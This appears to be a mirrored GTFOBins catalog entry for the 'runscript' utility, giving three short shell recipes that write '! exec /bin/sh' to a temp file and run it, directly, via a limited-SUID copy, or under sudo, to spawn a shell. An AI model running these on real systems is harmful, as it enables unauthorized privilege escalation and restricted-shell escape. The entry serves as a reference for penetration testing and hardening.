mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 23:09:46 +01:00
19 lines
335 B
Markdown
19 lines
335 B
Markdown
|
---
|
||
|
functions:
|
||
|
shell:
|
||
|
- code: |
|
||
|
TF=$(mktemp)
|
||
|
echo '! exec /bin/sh' >$TF
|
||
|
runscript $TF
|
||
|
limited-suid:
|
||
|
- code: |
|
||
|
TF=$(mktemp)
|
||
|
echo '! exec /bin/sh' >$TF
|
||
|
./runscript $TF
|
||
|
sudo:
|
||
|
- code: |
|
||
|
TF=$(mktemp)
|
||
|
echo '! exec /bin/sh' >$TF
|
||
|
sudo runscript $TF
|
||
|
---
|